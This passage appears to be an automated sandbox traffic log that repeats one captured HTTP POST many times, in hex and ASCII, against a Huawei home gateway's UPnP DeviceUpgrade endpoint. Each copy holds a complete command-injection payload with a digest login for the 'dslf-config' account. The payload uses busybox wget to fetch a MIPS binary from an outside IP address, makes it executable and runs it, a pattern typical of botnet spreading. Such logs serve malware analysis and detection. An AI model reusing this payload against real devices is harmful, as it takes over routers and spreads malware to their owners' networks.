/x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 